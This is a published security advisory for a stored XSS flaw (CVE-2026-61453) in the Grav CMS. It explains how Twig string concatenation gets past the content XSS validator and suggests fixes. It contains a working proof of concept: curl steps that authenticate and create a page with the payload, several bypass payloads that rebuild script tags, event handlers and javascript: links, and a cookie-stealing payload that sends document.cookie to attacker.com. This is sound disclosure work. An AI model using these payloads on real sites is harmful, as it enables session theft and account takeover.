Summary
Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.
Details
The two-stage attack exploits the separation between validation and rendering:
Stage 1 - what the XSS validator sees (raw page content):
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.
Stage 2 - what Twig produces (after rendering):
<img src=1 onerror=alert(document.domain)>
The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.
Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:
allowed_tags:
- set # ← allows variable assignment
...
The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag, it is always available and not gated by the sandbox.
The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
Also bypasses the invalid_protocols check:
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
Proof of Concept
Prerequisites
twig_content.process_enabled: trueset by adminapi.pages.writepermission (page creation)
Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.
Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
From a low-level user
Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click proves that the we can bypass the blueprint restrictions and upload malicious script to it
Alternative payloads (all bypass the validator)
| Payload | Twig Source | After Twig | Triggers |
|---|---|---|---|
| Event handler | <img src=1 {{"on"~"error"}}=alert(1)> |
<img src=1 onerror=alert(1)> |
Image load fails |
| Script tag | <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> |
<script>alert(1)</script> |
Immediately |
| Protocol bypass | <a href="{{"java"~"script"}}:alert(1)">click</a> |
<a href="javascript:alert(1)">click</a> |
On click |
| Iframe onload | <i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)> |
<iframe onload=alert(1)> |
Page load |
| Details toggle | <details open {{"on"~"toggle"}}=alert(1)> |
<details open ontoggle=alert(1)> |
Page load |
| Cookie theft | <img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)> |
<img src=1 onerror=fetch(...)> |
Image load fails |
Admin preview caveat
The Admin2 SPA renders page previews inside a sandboxed iframe:
<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>
allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.
Option A - Re-run the XSS validator on Twig output
After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:
// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
// Log and sanitize or block
Security::logTwigSandboxViolation('xss_output', $result, '', $route);
return ''; // or return escaped version
}
Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)
Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).
Option C - Block dynamic attribute names in Twig output
Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.
Option D - Escape HTML in rendered Twig output
Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior, the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.
Impact
Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:
- Bypasses all four XSS validator regexes (
on_events,invalid_protocols,dangerous_tags,html_inline_styles) - Bypasses the dangerous tag blocklist (reconstructs
<script>,<iframe>,<svg>, etc.) - Bypasses the invalid protocol blocklist (reconstructs
javascript:,data:) - Persists across page edits (stored in page content file)
- Executes for every visitor to the page
An attacker can steal session cookies, perform actions as the victim, or deface the site.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-61453? CVE-2026-61453 is a medium-severity cross-site scripting (XSS) vulnerability in getgrav/grav (composer), affecting versions = 2.0.0. It is fixed in 2.0.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of getgrav/grav are affected by CVE-2026-61453? getgrav/grav (composer) versions = 2.0.0 is affected.
- Is there a fix for CVE-2026-61453? Yes. CVE-2026-61453 is fixed in 2.0.1. Upgrade to this version or later.
- Is CVE-2026-61453 exploitable, and should I be worried? Whether CVE-2026-61453 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-61453 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-61453? Upgrade
getgrav/gravto 2.0.1 or later.